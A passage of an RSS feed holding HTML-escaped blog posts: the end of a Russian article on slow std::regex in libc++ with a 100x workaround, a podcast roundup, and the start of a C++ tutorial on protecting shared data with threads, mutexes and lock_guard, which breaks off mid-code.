            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__split&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__snext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__node_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;__exec_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__snext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__node_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;__exec_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__snext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_VSTD&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__snext&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop_back&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="cp"&gt;#ifndef _LIBCPP_NO_EXCEPTIONS
&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regex_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;regex_constants&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;__re_err_unknown&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="cp"&gt;#endif
&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;При длине строки в тысячу символов на моих тестовых данных эта функция вызывалась тысячу раз, что влекло за собой тысячу созданий, push_back, pop_back и уничтожений &lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;std::vector&lt;/span&gt;&lt;/span&gt; и соответственно тысячу динамических выделений и освобождений памяти.&lt;/p&gt;
&lt;img alt="" src="https://artem.krylysov.com/images/cpp-regex/profiler.png" style="width: 800px; height: 305px;" /&gt;
&lt;p&gt;В моем конкретном случае для моего регулярного выражения проблему можно решить таким костылем:&lt;/p&gt;
&lt;pre class="code c++ literal-block"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;text2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;body&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;smatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regex_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Это ускоряет работу примерно в 100 раз. Интересно, что аналогичный трюк в Python и Node.js влияет на скорость негативно.&lt;/p&gt;
&lt;p&gt;Поддержка регулярных выражений в STL была добавлена в С++11 и реализована только в последних версиях компиляторов. Остается надеяться, что проблему производительности исправят в новых версиях.&lt;/p&gt;
&lt;p&gt;Какой из этого всего можно сделать вывод? Производительность в первую очередь это не низкоуровневые (или новомодные) языки программирования и быстрые процессоры, а эффективные алгоритмы.&lt;/p&gt;</description><author>Artem Krylysov</author><pubDate>Mon, 06 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://artem.krylysov.com/blog/2014/10/06/cpp-stl-regex-performance/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-92914.html</link><description>&lt;p&gt;Another week has gone by, made all the better with a few great podcasts. This time around, we have appearances by Exponent, Back to Work, Roderick on the Line, and Defocused. Enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-92914.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 05 Oct 2014 21:27:45 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-92914.html</guid></item><item><title>Concurrency: Working with shared data using threads</title><link>https://whackylabs.com/concurrency/2014/10/05/concurrency-working-with-shared-data-using-threads/</link><description>&lt;p&gt;In continuation with the &lt;a href="http://127.0.0.1/rants/"&gt;last week’s
experiment&lt;/a&gt; on protecting shared data in a
concurrent system, let’s look at how we can make it work using C++ and
threads.&lt;/p&gt;

&lt;p&gt;Here’s a brief recap: We’re building a Airport scenario, where we have a
single status board screen. The status board is simultaneously being
edited by multiple airliners. The status board can be read by any
passenger at any given moment for any flight status based on the flight
number.&lt;/p&gt;

&lt;p&gt;Let’s build the concept within a single-threaded environment:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;StatusBoard&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;forward_list&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;AddFlight&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;newFlight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;MAX_FLIGHTS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_front&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newFlight&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;FindFlight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flightNum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; 

                          &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; 

                          &lt;span class="n"&gt;flightNum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;StatusBoard&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;StatusWriter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;debugCount&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AddFlight&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;StatusReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;debugCount&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FindFlight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;SerialLoop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;StatusReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;StatusWriter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On my machine, it outputs:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Flight found after 26 writes and 27 reads.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s begin with making this implementation multithreaded.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;StatusWriter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;debugCount&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AddFlight&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ParallelLoop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StatusReader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="cm"&gt;/* write operation */&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;writeOp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StatusWriter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;writeOp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detach&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The good thing about C++ is that much of the code looks almost similar
to the single threaded code and that is due to the way the thread
library has been designed. At first glance you won’t be even able to
tell where the threading code actually is. Here we’re invoking two
operations on two threads at each iteration of the loop.&lt;/p&gt;

&lt;p&gt;First we have a read operation&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;launch&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;StatusReader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SEARCH_FLIGHT&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This makes use of std::future to invoke the StatusReader function on a
async thread. The get() call at the end actually start the process. We
shall talk about futures and promises in some future experiment. In this
experiment it would be suffice to understand that a call to std::async()
starts the StatusReader() function in a concurrent thread that magically
returns back the result with the get() to the caller thread.&lt;/p&gt;

&lt;p&gt;Another is simply spawning of a std::thread using the direct use with
detach that we’re already familiar of from &lt;a href="http://127.0.0.1/rants/?p=1121" title="Concurrency: Spawning Independent Tasks"&gt;our previous
experiment&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here we just start the StatusWriter function on a new thread every time
the loop iterates.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* write operation */&lt;/span&gt;
&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="nf"&gt;writeOp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StatusWriter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;writeOp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detach&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On my machine, when the code doesn’t crashes, it prints:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Flight found after 26 writes and 1614 reads.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Obviously, this code isn’t thread-safe. We’re reading and writing to the
same forward list from more than one threads, and this code is supposed
to crash a lot. So, next step let’s make it thread safe using a mutex.&lt;/p&gt;

&lt;p&gt;A mutex is the basic object that is used to provide mutual exclusivity
to a portion of code. The mutex in C++ are used to lock a shared
resource.&lt;/p&gt;

&lt;p&gt;First of all we start with a std::mutex object. This object guarantees
that the code is locked for a single thread use at a time. We can use
the lock() and unlock() member functions on std::mutex object like:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="cm"&gt;/* 
     * some resource locking code here
     */&lt;/span&gt;
    &lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you’ve used C++ long enough, you’ll know that this code is prone to
all sort of errors. In many cases the foo() can exit before the unlock()
gets executed. This could be due to any early returns that you have
added to the function. Or, in a more likely scenario, your code does
something illegal and the foo() throws some exception. Even if foo() is
very robust, it could call some another function which isn’t that
robust.&lt;/p&gt;

&lt;p&gt;If you’re an old time C++ user, you must know that to solve this problem
space we often use
&lt;a href="http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization"&gt;RAII&lt;/a&gt;
idiom. Good for you, the standard thread library already provides this
for you in form of a std::lock_guard. The std::lock_guard is designed
to work with any lock like object.&lt;/p&gt;

&lt;p&gt;Using std::mutex and std::lock_guard our code is now:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;StatusBoard&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;forward_list&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;mutable&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;AddFlight&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
